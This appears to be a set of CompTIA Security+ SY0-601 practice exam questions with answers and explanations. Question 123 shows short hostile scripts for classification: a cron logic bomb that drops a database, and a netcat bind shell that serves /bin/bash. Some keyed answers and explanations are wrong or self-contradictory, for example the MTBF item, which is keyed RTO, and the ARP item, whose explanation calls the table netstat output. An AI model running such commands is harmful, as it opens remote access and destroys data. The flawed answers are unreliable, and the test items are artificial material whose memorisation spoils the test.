References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://resources.infosecinstitute.com/topic/chain-of-custody-in-digital-forensics/>

NEW QUESTION 97

- (Exam Topic 2)

A security analyst is reviewing packet capture data from a compromised host. In the packet capture, the analyst locates packets that contain large amounts of text. Which of the following is most likely installed on the compromised host?

- A. Keylogger
- B. Spyware
- C. Trojan
- D. Ransomware

Answer: A

Explanation:

A keylogger is a type of malware that records the keystrokes of the user and sends them to a remote attacker. The attacker can use the keystrokes to steal the user's credentials, personal information, or other sensitive data. A keylogger can generate packets that contain large amounts of text, as the packet capture data shows.

NEW QUESTION 98

- (Exam Topic 2)

An organization's Chief Information Security Officer is creating a position that will be responsible for implementing technical controls to protect data, including ensuring backups are properly maintained. Which of the following roles would MOST likely include these responsibilities?

- A. Data protection officer
- B. Data owner
- C. Backup administrator
- D. Data custodian
- E. Internal auditor

Answer: C

Explanation:

The role that would most likely include the responsibilities of implementing technical controls to protect data and ensuring backups are properly maintained would be a Backup Administrator. A Backup Administrator is responsible for maintaining and managing an organization's backup systems and procedures, which includes ensuring that backups are properly configured, tested, and securely stored. They are also responsible for the recovery of data in case of a disaster or data loss.

NEW QUESTION 103

- (Exam Topic 2)

An organization recently completed a security control assessment. The organization determined that some controls did not meet the existing security measures. Additional mitigations are needed to lessen the risk of the non-compliant controls. Which of the following best describes these mitigations?

- A. Corrective
- B. Compensating
- C. Deterrent
- D. Technical

Answer: B

Explanation:

Compensating controls are additional security measures that are implemented to reduce the risk of non-compliant controls. They do not fix the underlying issue, but they provide an alternative way of achieving the same security objective. For example, if a system does not have encryption, a compensating control could be to restrict access to the system or use a secure network connection.

NEW QUESTION 107

- (Exam Topic 2)

An engineer recently deployed a group of 100 web servers in a cloud environment. Per the security policy, all web-server ports except 443 should be disabled. Which of the following can be used to accomplish this task?

- A. Application allow list
- B. Load balancer
- C. Host-based firewall
- D. VPN

Answer: C

Explanation:

A host-based firewall is a software application that runs on each individual host and controls the incoming and outgoing network traffic based on a set of rules. A host-based firewall can be used to block or allow specific ports, protocols, IP addresses, or applications.

An engineer can use a host-based firewall to accomplish the task of disabling all web-server ports except 443 on a group of 100 web servers in a cloud environment. The engineer can configure the firewall rules on each web server to allow only HTTPS traffic on port 443 and deny any other traffic. Alternatively, the engineer can use a centralized management tool to deploy and enforce the firewall rules across all web servers.

NEW QUESTION 111

- (Exam Topic 2)

A company would like to protect credit card information that is stored in a database from being exposed and reused. However, the current POS system does not support encryption. Which of the following would be BEST suited to secure this information?

(Give me related explanation and references from CompTIA Security+ SY0-601 documents for the correct answer option)

- A. Masking

- B. Tokenization
- C. DLP
- D. SSL/TLS

Answer: B

Explanation:

Tokenization replaces sensitive data with non-sensitive data, such as a unique identifier. This means that the data is still present in the system, but the sensitive information itself is replaced with the token. Tokenization is more secure than masking, which only obscures the data but does not eliminate it. DLP is not suitable for this task, as it is designed to prevent the loss or leakage of data from the system. SSL/TLS can be used to secure the transmission of data, but it cannot prevent the data itself from being exposed or reused. For more information, please refer to CompTIA Security+ SY0-601 Exam Objectives, Section 3.3: Explain the security purpose of authentication, authorization and accounting (AAA) services, and Section 4.7: Explain the purpose and characteristics of various types of encryption.

NEW QUESTION 112

- (Exam Topic 2)

A security administrator installed a new web server. The administrator did this to increase the capacity for an application due to resource exhaustion on another server. Which of the following algorithms should the administrator use to split the number of the connections on each server in half?

- A. Weighted response
- B. Round-robin
- C. Least connection
- D. Weighted least connection

Answer: B

Explanation:

Round-robin is a type of load balancing algorithm that distributes traffic to a list of servers in rotation. It is a static algorithm that does not take into account the state of the system for the distribution of tasks. It assumes that all servers have equal capacity and can handle an equal amount of traffic.

NEW QUESTION 116

- (Exam Topic 2)

A security team will be outsourcing several key functions to a third party and will require that:

- Several of the functions will carry an audit burden.
- Attestations will be performed several times a year.
- Reports will be generated on a monthly basis.

Which of the following BEST describes the document that is used to define these requirements and stipulate how and when they are performed by the third party?

- A. MOU
- B. AUP
- C. SLA
- D. MSA

Answer: C

Explanation:

A service level agreement (SLA) is a contract between a service provider and a customer that outlines the services that are to be provided and the expected levels of performance. It is used to define the requirements for the service, including any attestations and reports that must be generated, and the timescales in which these must be completed. It also outlines any penalties for failing to meet these requirements. SLAs are essential for ensuring that third-party services are meeting the agreed upon performance levels.

Reference: CompTIA Security+ Study Guide: SY0-601 by Emmett Dulaney, Chuck Easttom <https://www.wiley.com/en-us/CompTIA+Security%2B+Study+Guide%3A+SY0-601-p-9781119515968>

CompTIA Security+ Get Certified Get Ahead: SY0-601 Study Guide by Darril Gibson <https://www.amazon.com/CompTIA-Security-Certified-Ahead-SY0-601/dp/1260117558>

Note: SLA is the best document that is used to define these requirements and stipulate how and when they are performed by the third party.

NEW QUESTION 120

- (Exam Topic 2)

Multiple beaconing activities to a malicious domain have been observed. The malicious domain is hosting malware from various endpoints on the network. Which of the following technologies would be best to correlate the activities between the different endpoints?

- A. Firewall
- B. SIEM
- C. IPS
- D. Protocol analyzer

Answer: B

Explanation:

SIEM stands for Security Information and Event Management, which is a technology that collects, analyzes, and correlates data from multiple sources, such as firewall logs, IDS/IPS alerts, network devices, applications, and endpoints. SIEM provides real-time monitoring and alerting of security events, as well as historical analysis and reporting for compliance and forensic purposes.

A SIEM technology would be best to correlate the activities between the different endpoints that are beaconing to a malicious domain. A SIEM can detect the malicious domain by comparing it with threat intelligence feeds or known indicators of compromise (IOCs). A SIEM can also identify the endpoints that are communicating with the malicious domain by analyzing the firewall logs and other network traffic data. A SIEM can alert the security team of the potential compromise and provide them with relevant information for investigation and remediation.

NEW QUESTION 123

- (Exam Topic 2)

An incident has occurred in the production environment.
 Analyze the command outputs and identify the type of compromise.

```

Command output 1 | Command output 2
$ cat /var/log/www/file.sh
#!/bin/bash

user=`grep john /etc/passwd`
if [ $user = "" ]; then
    mysql -u root -p mys3cr3tdbpm -e "drop database production"
fi

$ crontab -l
*/5 * * * * /var/log/www/file.sh
    
```

Compromise Type 1

- RAT
- Backdoor
- Logic bomb
- SQL injection
- Rootkit

```

Command output 1 | Command output 2
$ cat /var/log/www/file.sh
#!/bin/bash

date=`date +%Y-%m-%y`

echo "type in your full name: "
read loggedInName
nc -l -p 31337 -e /bin/bash
wget www.eicar.org/download/eicar.com.txt
echo "Hello, $loggedInName the virus file has been downloaded"
    
```

Compromise Type 2

- SQL injection
- RAT
- Rootkit
- Backdoor
- Logic bomb

- A. Mastered
- B. Not Mastered

Answer: A

Explanation:

Command Output1 = Logic Bomb

A logic bomb is a type of malicious code that executes when certain conditions are met, such as a specific date or time, or a specific user action¹. In this case, the logic bomb is a script that runs every minute and checks if there is a user named john in the /etc/passwd file. If there is, it drops the production database using a MySQL command³. This could cause severe damage to the system and the data.

To prevent logic bombs, you should use antivirus software that can detect and remove malicious code, and also perform regular backups of your data. You should also avoid opening suspicious attachments or links from unknown sources, and use strong passwords for your accounts¹.

Command Output2 = backdoorA backdoor is a type of malicious code that allows an attacker to access a system or network remotely, bypassing security measures¹. In this case, the backdoor is a script that runs every time the date command is executed and prompts the user to enter their full name. Then, it opens a reverse shell connection using the nc command and downloads a virus file from a malicious website using the wget command². This could allow the attacker to execute commands on the system and infect it with malware.

To prevent backdoors, you should use antivirus software that can detect and remove malicious code, and also update your system and applications regularly. You should also avoid executing unknown commands or scripts from untrusted sources, and use firewall rules to block unauthorized connections

NEW QUESTION 126

- (Exam Topic 2)

An organization has been experiencing outages during holiday sales and needs to ensure availability of its point-of-sales systems. The IT administrator has been asked to improve both server-data fault tolerance and site availability under high consumer load. Which of the following are the best options to accomplish this objective? (Select two.)

- A. Load balancing
- B. Incremental backups
- C. UPS
- D. RAID
- E. Dual power supply
- F. VLAN

Answer: AD

Explanation:

Load balancing and RAID are the best options to accomplish the objective of improving both server-data fault tolerance and site availability under high consumer load. Load balancing is a method of distributing network traffic across multiple servers to optimize performance, reliability, and scalability. Load balancing can help improve site availability by preventing server overload, ensuring high uptime, and providing redundancy and failover. RAID stands for redundant array of independent disks, which is a technology that combines multiple physical disks into a logical unit to improve data storage performance, reliability, and capacity. RAID can help improve server-data fault tolerance by providing data redundancy, backup, and recovery.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://www.nginx.com/resources/glossary/load-balancing/> <https://www.ibm.com/cloud/learn/raid>

NEW QUESTION 131

- (Exam Topic 2)

A digital forensics team at a large company is investigating a case in which malicious code was downloaded over an HTTPS connection and was running in memory, but was never committed to disk. Which of the following techniques should the team use to obtain a sample of the malware binary?

- A. pcap reassembly
- B. SSD snapshot
- C. Image volatile memory
- D. Extract from checksums

Answer: C

Explanation:

The best technique for the digital forensics team to use to obtain a sample of the malware binary is to image volatile memory. Volatile memory imaging is a process of collecting a snapshot of the contents of a computer's RAM, which can include active malware programs. According to the CompTIA Security+ SY0-601 Official Text Book, volatile memory imaging can be used to capture active malware programs that are running in memory, but have not yet been committed to disk. This technique is especially useful in cases where the malware is designed to self-destruct or erase itself from the disk after execution.

NEW QUESTION 133

- (Exam Topic 2)

Security analysts have noticed the network becomes flooded with malicious packets at specific times of the day. Which of the following should the analysts use to investigate this issue?

- A. Web metadata
- B. Bandwidth monitors
- C. System files
- D. Correlation dashboards

Answer: D

Explanation:

Correlation dashboards are tools that allow security analysts to monitor and analyze multiple sources of data and events in real time. They can help identify patterns, trends, anomalies, and threats by correlating different types of data and events, such as network traffic, logs, alerts, and incidents. Correlation dashboards can help investigate network flooding by showing the source, destination, volume, and type of malicious packets and their impact on the network performance and availability. References: <https://www.comptia.org/blog/what-is-a-correlation-dashboard>

NEW QUESTION 135

- (Exam Topic 2)

Which of the following measures the average time that equipment will operate before it breaks?

- A. SLE
- B. MTBF
- C. RTO
- D. ARO

Answer: C

Explanation:

the measure that calculates the average time that equipment will operate before it breaks is MTBF. MTBF stands for Mean Time Between Failures and it is a metric that represents the average time between two failures occurring in a given period. MTBF is used to measure the reliability and availability of a product or system. The higher the MTBF, the more reliable and available the product or system is.

NEW QUESTION 136

- (Exam Topic 2)

An organization wants to quickly assess how effectively the IT team hardened new laptops. Which of the following would be the best solution to perform this

assessment?

- A. Install a SIEM tool and properly configure it to read the OS configuration files.
- B. Load current baselines into the existing vulnerability scanner.
- C. Maintain a risk register with each security control marked as compliant or non-compliant.
- D. Manually review the secure configuration guide checklists.

Answer: B

Explanation:

A vulnerability scanner is a tool that can scan devices and systems for known vulnerabilities, misconfigurations, and compliance issues. By loading the current baselines into the scanner, the organization can compare the actual state of the new laptops with the desired state and identify any deviations or weaknesses. This is a quick and automated way to assess the hardening of the new laptops.

NEW QUESTION 139

- (Exam Topic 2)

A company policy requires third-party suppliers to self-report data breaches within a specific time frame. Which of the following third-party risk management policies is the company complying with?

- A. MOU
- B. SLA
- C. EOL
- D. NDA

Answer: B

Explanation:

An SLA or service level agreement is a type of third-party risk management policy that defines the expectations and obligations between a service provider and a customer. An SLA typically includes metrics and standards for measuring the quality and performance of the service, as well as penalties or remedies for non-compliance. An SLA can also specify the reporting requirements for data breaches or other incidents that may affect the customer's security or privacy.

NEW QUESTION 141

- (Exam Topic 2)

Which of the following is required in order (or an IDS and a WAF to be effective on HTTPS traffic?

- A. Hashing
- B. DNS sinkhole
- C. TLS inspection
- D. Data masking

Answer: C

Explanation:

TLS (Transport Layer Security) is a protocol that is used to encrypt data sent over HTTPS (Hypertext Transfer Protocol Secure). In order for an intrusion detection system (IDS) and a web application firewall (WAF) to be effective on HTTPS traffic, they must be able to inspect the encrypted traffic. TLS inspection allows the IDS and WAF to decrypt and inspect the traffic, allowing them to detect any malicious activity. References: [1] CompTIA Security+ Study Guide Exam SY0-601 [1], Sixth Edition, Chapter 11, "Network Security Monitoring" [2] CompTIA Security+ Get Certified Get Ahead: SY0-501 Study Guide, Chapter 7, "Intrusion Detection and Prevention"

NEW QUESTION 144

- (Exam Topic 2)

A security administrator needs to provide secure access to internal networks for external partners. The administrator has given the PSK and other parameters to the third-party security administrator. Which of the following is being used to establish this connection?

- A. Kerberos
- B. SSL/TLS
- C. IPSec
- D. SSH

Answer: C

Explanation:

IPSec is a protocol suite that provides secure communication over IP networks. It uses encryption, authentication, and integrity mechanisms to protect data from unauthorized access or modification. IPSec can operate in two modes: transport mode and tunnel mode. In tunnel mode, IPSec can create a virtual private network (VPN) between two endpoints, such as external partners and internal networks. To establish a VPN connection, IPSec requires a pre-shared key (PSK) or other parameters to negotiate the security association. References: <https://www.comptia.org/content/guides/what-is-vpn>

NEW QUESTION 146

- (Exam Topic 2)

Which of the following security design features can a development team use to analyze the deletion of data sets?

- A. Stored procedures
- B. Code reuse
- C. Version control
- D. Continuum

Answer: C

Explanation:

Version control is a solution that can help a development team to analyze the deletion or editing of data sets without affecting the original copy. Version control is a system that records changes to a file or set of files over time so that specific versions can be recalled later. Version control can help developers track and manage changes to code, data, or documents, as well as collaborate with other developers and resolve conflicts.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://www.atlassian.com/git/tutorials/what-is-version-control>

NEW QUESTION 148

- (Exam Topic 2)

Which of the following secure application development concepts aims to block verbose error messages from being shown in a user's interface?

- A. OWASP
- B. Obfuscation/camouflage
- C. Test environment
- D. Prevent of information exposure

Answer: D

Explanation:

Preventing information exposure is a secure application development concept that aims to block verbose error messages from being shown in a user's interface. Verbose error messages are detailed messages that provide information about errors or exceptions that occur in an application. Verbose error messages may reveal sensitive information about the application's structure, configuration, logic, or data that could be exploited by attackers. Therefore, preventing information exposure involves implementing proper error handling mechanisms that display generic or user-friendly messages instead of verbose error messages.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
https://owasp.org/www-project-top-ten/2017/A6_2017-Security_Misconfiguration

NEW QUESTION 150

- (Exam Topic 2)

An analyst is working on an investigation with multiple alerts for multiple hosts. The hosts are showing signs of being compromised by a fast-spreading worm. Which of the following should be the next step in order to stop the spread?

- A. Disconnect every host from the network.
- B. Run an AV scan on the entire
- C. Scan the hosts that show signs of
- D. Place all known-infected hosts on an isolated network

Answer: D

Explanation:

Placing all known-infected hosts on an isolated network is the best way to stop the spread of a worm infection. This will prevent the worm from reaching other hosts on the network and allow the infected hosts to be cleaned and restored. Disconnecting every host from the network is not practical and may disrupt business operations. Running an AV scan on the entire network or scanning the hosts that show signs of infection may not be effective or fast enough to stop a fast-spreading worm.

NEW QUESTION 153

- (Exam Topic 2)

A company recently completed the transition from data centers to the cloud. Which of the following solutions will best enable the company to detect security threats in applications that run in isolated environments within the cloud environment?

- A. Security groups
- B. Container security
- C. Virtual networks
- D. Segmentation

Answer: B

Explanation:

Container security is a solution that can enable the company to detect security threats in applications that run in isolated environments within the cloud environment. Containers are units of software that package code and dependencies together, allowing applications to run quickly and reliably across different computing environments. Container security involves securing the container images, the container runtime, and the container orchestration platforms. Container security can help prevent unauthorized access, data breaches, malware infections, or denial-of-service attacks on the applications running in containers.

References: 1

CompTIA Security+ Certification Exam Objectives, page 9, Domain 2.0: Architecture and Design, Objective 2.3 : Summarize secure application development, deployment, and automation concepts 2

CompTIA Security+ Certification Exam Objectives, page 10, Domain 2.0: Architecture and Design, Objective 2.4: Explain the importance of embedded and specialized systems security 3

<https://www.comptia.org/blog/what-is-container-security>

NEW QUESTION 156

- (Exam Topic 2)

An organization recently released a zero-trust policy that will enforce who is able to remotely access certain data. Authenticated users who access the data must have a need to know, depending on their level of permissions.

Which of the following is the first step the organization should take when implementing the policy?

- A. Determine a quality CASB solution.
- B. Configure the DLP policies by user groups.
- C. Implement agentless NAC on boundary devices.
- D. Classify all data on the file servers.

Answer: D

Explanation:

zero trust is a security strategy that assumes breach and verifies each request as though it originates from an untrusted network¹². A zero trust policy is a set of “allow rules” that specify conditions for accessing certain resources³. According to one source⁴, the first step in implementing a zero trust policy is to identify and classify all data and assets in the organization. This helps to determine the level of sensitivity and risk associated with each resource and apply appropriate access controls. Classifying all data on the file servers is the first step in implementing a zero trust policy because it helps to determine the level of sensitivity and risk associated with each resource and apply appropriate access controls. Reference: Zero Trust implementation guidance | Microsoft Learn

NEW QUESTION 158

- (Exam Topic 2)

A company wants to enable BYOD for checking email and reviewing documents. Many of the documents contain sensitive organizational information. Which of the following should be deployed first before allowing the use of personal devices to access company data?

- A. MDM
- B. RFID
- C. DLR
- D. SIEM

Answer: A

Explanation:

MDM stands for Mobile Device Management, which is a solution that can be used to manage and secure personal devices that access company data. MDM can enforce policies and rules, such as password protection, encryption, remote wipe, device lock, application control, and more. MDM can help a company enable BYOD (Bring Your Own Device) while protecting sensitive organizational information.

NEW QUESTION 161

- (Exam Topic 2)

A retail store has a business requirement to deploy a kiosk computer in an open area. The kiosk computer's operating system has been hardened and tested. A security engineer is concerned that someone could use removable media to install a rootkit. Which of the following should the security engineer configure to BEST protect the kiosk computer?

- A. Measured boot
- B. Boot attestation
- C. UEFI
- D. EDR

Answer: B

Explanation:

Boot attestation is a security feature that enables the computer to verify the integrity of its operating system before it boots. It does this by performing a hash of the operating system and comparing it to the expected hash of the operating system. If the hashes do not match, the computer will not boot and the rootkit will not be allowed to run. This process is also known as measured boot or secure boot.

According to the CompTIA Security+ Study Guide, “Secure Boot is a feature of Unified Extensible Firmware Interface (UEFI) that ensures that code that is executed during the boot process has been authenticated by a cryptographic signature. Secure Boot prevents malicious code from running at boot time, thus providing assurance that the system is executing only code that is legitimate. This provides a measure of protection against rootkits and other malicious code that is designed to run at boot time.”

NEW QUESTION 163

- (Exam Topic 2)

A security analyst is assisting a team of developers with best practices for coding. The security analyst would like to defend against the use of SQL injection attacks. Which of the following should the security analyst recommend first?

- A. Tokenization
- B. Input validation
- C. Code signing
- D. Secure cookies

Answer: B

Explanation:

Input validation is a technique that involves checking the user input for any malicious or unexpected characters or commands that could be used to perform SQL injection attacks. Input validation can be done by using allow-lists or deny-lists to filter out the input based on predefined criteria. Input validation can prevent SQL injection attacks by ensuring that only valid and expected input is passed to the database queries.

NEW QUESTION 166

- (Exam Topic 2)

Which of the following describes where an attacker can purchase DDoS or ransomware services?

- A. Threat intelligence
- B. Open-source intelligence
- C. Vulnerability database
- D. Dark web

Answer: D

Explanation:

The best option to describe where an attacker can purchase DDoS or ransomware services is the dark web. The dark web is an anonymous, untraceable part of the internet where a variety of illicit activities take place, including the purchase of DDoS and ransomware services. According to the CompTIA Security+ SY0-601

Official Text Book, attackers can purchase these services anonymously and without the risk of detection or attribution. Additionally, the text book recommends that organizations monitor the dark web to detect any possible threats or malicious activity.

NEW QUESTION 171

- (Exam Topic 2)

A security operations center wants to implement a solution that can execute files to test for malicious activity. The solution should provide a report of the files' activity against known threats.

Which of the following should the security operations center implement?

- A. theHarvester
- B. Nessus
- C. Cuckoo
- D. Sn1per

Answer: C

Explanation:

Cuckoo is a sandbox that is specifically written to run programs inside and identify any malware. A sandbox is a virtualized environment that isolates the program from the rest of the system and monitors its behavior. Cuckoo can analyze files of various types, such as executables, documents, URLs, and more. Cuckoo can provide a report of the files' activity against known threats, such as network traffic, file operations, registry changes, API calls, and so on.

A security operations center can implement Cuckoo to execute files to test for malicious activity and generate a report of the analysis. Cuckoo can help the security operations center to detect and prevent malware infections, investigate incidents, and perform threat intelligence.

NEW QUESTION 174

- (Exam Topic 2)

A company owns a public-facing e-commerce website. The company outsources credit card transactions to a payment company. Which of the following BEST describes the role of the payment company?

- A. Data controller
- B. Data custodian
- C. Data owners
- D. Data processor

Answer: D

Explanation:

A data processor is an organization that processes personal data on behalf of a data controller. In this scenario, the company that owns the e-commerce website is the data controller, as it determines the purposes and means of processing personal data (e.g. credit card information). The payment company is a data processor, as it processes personal data on behalf of the e-commerce company (i.e. it processes credit card transactions).

Reference: CompTIA Security+ Study Guide (SY0-601) 7th Edition by Emmett Dulaney, Chuck Easttom

NEW QUESTION 178

- (Exam Topic 2)

A user's laptop constantly disconnects from the Wi-Fi network. Once the laptop reconnects, the user can reach the internet but cannot access shared folders or other network resources. Which of the following types of attacks is the user MOST likely experiencing?

- A. Bluejacking
- B. Jamming
- C. Rogue access point
- D. Evil twin

Answer: D

Explanation:

An evil twin attack is when an attacker sets up a fake Wi-Fi network that looks like a legitimate network, but is designed to capture user data that is sent over the network. In this case, the user's laptop is constantly disconnecting and reconnecting to the Wi-Fi network, indicating that it is connecting to the fake network instead of the legitimate one. Once the user connects to the fake network, they are unable to access shared folders or other network resources, as those are only available on the legitimate network.

NEW QUESTION 180

- (Exam Topic 1)

As part of a company's ongoing SOC maturation process, the company wants to implement a method to share cyberthreat intelligence data with outside security partners. Which of the following will the company MOST likely implement?

- A. TAXII
- B. TLP
- C. TTP
- D. STIX

Answer: A

Explanation:

Trusted Automated Exchange of Intelligence Information (TAXII) is a standard protocol that enables the sharing of cyber threat intelligence between organizations. It allows organizations to automate the exchange of information in a secure and timely manner. References: CompTIA Security+ Certification Exam Objectives 3.6 Given a scenario, implement secure network architecture concepts. Study Guide: Chapter 4, page 167.

NEW QUESTION 184

- (Exam Topic 1)

The Chief Information Security Officer wants to pilot a new adaptive, user-based authentication method. The concept includes granting logical access based on physical location and proximity. Which of the following is the BEST solution for the pilot?

- A. Geofencing
- B. Self-sovereign identification
- C. PKI certificates
- D. SSO

Answer: A

Explanation:

Geofencing is a location-based technology that allows an organization to define and enforce logical access control policies based on physical location and proximity. Geofencing can be used to grant or restrict access to systems, data, or facilities based on an individual's location, and it can be integrated into a user's device or the infrastructure. This makes it a suitable solution for the pilot project to test the adaptive, user-based authentication method that includes granting logical access based on physical location and proximity.

Reference: CompTIA Security+ SY0-601 Official Text Book, Chapter 4: "Identity and Access Management".

NEW QUESTION 186

- (Exam Topic 1)

An organization discovered a disgruntled employee exfiltrated a large amount of PII data by uploading files. Which of the following controls should the organization consider to mitigate this risk?

- A. EDR
- B. Firewall
- C. HIPS
- D. DLP

Answer: D

Explanation:

DLP stands for data loss prevention, which is a set of tools and processes that aim to prevent unauthorized access, use, or transfer of sensitive data. DLP can help mitigate the risk of data exfiltration by disgruntled employees or external attackers by monitoring and controlling data flows across endpoints, networks, and cloud services. DLP can also detect and block attempts to copy, print, email, upload, or download sensitive data based on predefined policies and rules.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://www.forcepoint.com/cyber-edu/data-loss-prevention-dlp>

NEW QUESTION 187

- (Exam Topic 1)

A Chief Information Officer is concerned about employees using company-issued laptops to steal data when accessing network shares. Which of the following should the company implement?

- A. DLP
- B. CASB
- C. HIDS
- D. EDR
- E. UEFI

Answer: A

Explanation:

The company should implement Data Loss Prevention (DLP) to prevent employees from stealing data. References: CompTIA Security+ Study Guide: Exam SY0-601, Chapter 8

NEW QUESTION 189

- (Exam Topic 1)

Which of the following cryptographic concepts would a security engineer utilize while implementing non-repudiation? (Select TWO)

- A. Block cipher
- B. Hashing
- C. Private key
- D. Perfect forward secrecy
- E. Salting
- F. Symmetric keys

Answer: BC

Explanation:

Non-repudiation is the ability to ensure that a party cannot deny a previous action or event. Cryptographic concepts that can be used to implement non-repudiation include hashing and digital signatures, which use a private key to sign a message and ensure that the signature is unique to the signer. References: CompTIA Security+ Certification Exam Objectives (SY0-601)

NEW QUESTION 190

- (Exam Topic 1)

A security administrator is working on a solution to protect passwords stored in a database against rainbow table attacks. Which of the following should the administrator consider?

- A. Hashing
- B. Salting
- C. Lightweight cryptography

D. Steganography

Answer: B

Explanation:

Salting is a technique that adds random data to a password before hashing it. This makes the hash output more unique and unpredictable, and prevents attackers from using precomputed tables (such as rainbow tables) to crack the password hash. Salting also reduces the risk of collisions, which occur when different passwords produce the same hash.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://auth0.com/blog/adding-salt-to-hashing-a-better-way-to-store-passwords/>

NEW QUESTION 193

- (Exam Topic 1)

A company is required to continue using legacy software to support a critical service. Which of the following BEST explains a risk of this practice?

- A. Default system configuration
- B. Unsecure protocols
- C. Lack of vendor support
- D. Weak encryption

Answer: C

Explanation:

Using legacy software to support a critical service poses a risk due to lack of vendor support. Legacy software is often outdated and unsupported, which means that security patches and upgrades are no longer available. This can leave the system vulnerable to exploitation by attackers who may exploit known vulnerabilities in the software to gain unauthorized access to the system.

Reference: CompTIA Security+ Study Guide, Exam SY0-601, Chapter 1: Attacks, Threats, and Vulnerabilities

NEW QUESTION 196

- (Exam Topic 1)

A security analyst has received several reports of an issue on an internal web application. Users state they are having to provide their credentials twice to log in. The analyst checks with the application team and notes this is not an expected behavior. After looking at several logs, the analyst decides to run some commands on the gateway and obtains the following output:

Internet address	Physical address	Type
192.168.1.1	ff-ec-ab-00-aa-78	dynamic
192.168.1.5	ff-00-5e-48-00-fb	dynamic
192.168.1.8	00-0c-29-1a-e7-fa	dynamic
192.168.1.10	fc-41-5e-48-00-ff	dynamic
224.215.54.47	fc-00-5e-48-00-fb	static

Which of the following BEST describes the attack the company is experiencing?

- A. MAC flooding
- B. URL redirection
- C. ARP poisoning
- D. DNS hijacking

Answer: C

Explanation:

The output of the "netstat -ano" command shows that there are two connections to the same IP address and port number. This indicates that there are two active sessions between the client and server.

The issue of users having to provide their credentials twice to log in is known as a double login prompt issue. This issue can occur due to various reasons such as incorrect configuration of authentication settings, incorrect configuration of web server settings, or issues with the client's browser.

Based on the output of the "netstat -ano" command, it is difficult to determine the exact cause of the issue. However, it is possible that an attacker is intercepting traffic between the client and server and stealing user credentials. This type of attack is known as C. ARP poisoning.

ARP poisoning is a type of attack where an attacker sends fake ARP messages to associate their MAC address with the IP address of another device on the network. This allows them to intercept traffic between the two devices and steal sensitive information such as user credentials.

NEW QUESTION 197

- (Exam Topic 1)

Which of the following would produce the closest experience of responding to an actual incident response scenario?

- A. Lessons learned
- B. Simulation
- C. Walk-through
- D. Tabletop

Answer: B

Explanation:

A simulation exercise is designed to create an experience that is as close as possible to a real-world incident response scenario. It involves simulating an attack or other security incident and then having security personnel respond to the situation as they would in a real incident. References: CompTIA Security+ SY0-601 Exam Objectives: 1.1 Explain the importance of implementing security concepts, methodologies, and practices.

NEW QUESTION 199

- (Exam Topic 1)

The Chief information Security Officer has directed the security and networking team to retire the use of shared passwords on routers and switches. Which of the following choices BEST meets the requirements?

- A. SAML
- B. TACACS+
- C. Password vaults
- D. OAuth

Answer: B

Explanation:

TACACS+ is a protocol used for remote authentication, authorization, and accounting (AAA) that can be used to replace shared passwords on routers and switches. It provides a more secure method of authentication that allows for centralized management of access control policies. References: CompTIA Security+ Study Guide, Exam SY0-601, 4th Edition, Chapter 6

NEW QUESTION 201

- (Exam Topic 1)

An information security manager for an organization is completing a PCI DSS self-assessment for the first time. Which of the following is the MOST likely reason for this type of assessment?

- A. An international expansion project is currently underway.
- B. Outside consultants utilize this tool to measure security maturity.
- C. The organization is expecting to process credit card information.
- D. A government regulator has requested this audit to be completed

Answer: C

Explanation:

PCI DSS (Payment Card Industry Data Security Standard) is a set of security standards designed to ensure that all companies that accept, process, store, or transmit credit card information maintain a secure environment. Any organization that accepts credit card payments is required to comply with PCI DSS.

NEW QUESTION 205

- (Exam Topic 1)

A global company is experiencing unauthorized logging due to credential theft and account lockouts caused by brute-force attacks. The company is considering implementing a third-party identity provider to help mitigate these attacks. Which of the following would be the BEST control for the company to require from prospective vendors?

- A. IP restrictions
- B. Multifactor authentication
- C. A banned password list
- D. A complex password policy

Answer: B

Explanation:

Multifactor authentication (MFA) would be the best control to require from a third-party identity provider to help mitigate attacks such as credential theft and brute-force attacks. References: CompTIA Security+ Study Guide, Exam SY0-601, Chapter 2

NEW QUESTION 210

- (Exam Topic 1)

Hackers recently attacked a company's network and obtained several unfavorable pictures from the Chief Executive Officer's workstation. The hackers are threatening to send the images to the press if a ransom is not paid. Which of the following is impacted the MOST?

- A. Identify theft
- B. Data loss
- C. Data exfiltration
- D. Reputation

Answer: D

Explanation:

The best option that describes what is impacted the most by the hackers' attack and threat would be D. Reputation. Reputation is the perception or opinion that others have about a person or an organization. Reputation can affect the trust, credibility, and success of a person or an organization. In this scenario, if the hackers send the unfavorable pictures to the press, it can damage the reputation of the Chief Executive Officer and the company, and cause negative consequences such as loss of customers, partners, investors, or employees.

NEW QUESTION 211

- (Exam Topic 1)

A major clothing company recently lost a large amount of proprietary information. The security officer must find a solution to ensure this never happens again. Which of the following is the BEST technical implementation to prevent this from happening again?

- A. Configure DLP solutions
- B. Disable peer-to-peer sharing
- C. Enable role-based
- D. Mandate job rotation
- E. Implement content filters

Answer: A

Explanation:

Data loss prevention (DLP) solutions can prevent the accidental or intentional loss of sensitive data. DLP tools can identify and protect sensitive data by classifying

and categorizing it, encrypting it, or blocking it from being transferred outside the organization's network.

NEW QUESTION 212

- (Exam Topic 1)

An employee received multiple messages on a mobile device. The messages instructing the employee to pair the device to an unknown device. Which of the following BEST describes What a malicious person might be doing to cause this issue to occur?

- A. Jamming
- B. Bluesnarfing
- C. Evil twin
- D. Rogue access point

Answer: B

Explanation:

Bluesnarfing is a hacking technique that exploits Bluetooth connections to snatch data from a wireless device. An attacker can perform bluesnarfing when the Bluetooth function is on and your device is discoverable by other devices within range. In some cases, attackers can even make calls from their victim's phone.

NEW QUESTION 214

- (Exam Topic 1)

Which of the following BEST describes data streams that are compiled through artificial intelligence that provides insight on current cyberintrusions, phishing, and other malicious cyberactivity?

- A. Intelligence fusion
- B. Review reports
- C. Log reviews
- D. Threat feeds

Answer: A

Explanation:

Intelligence fusion is a process that involves aggregating and analyzing data from multiple sources, including artificial intelligence, to provide insight on current cyberintrusions, phishing, and other malicious cyberactivity.

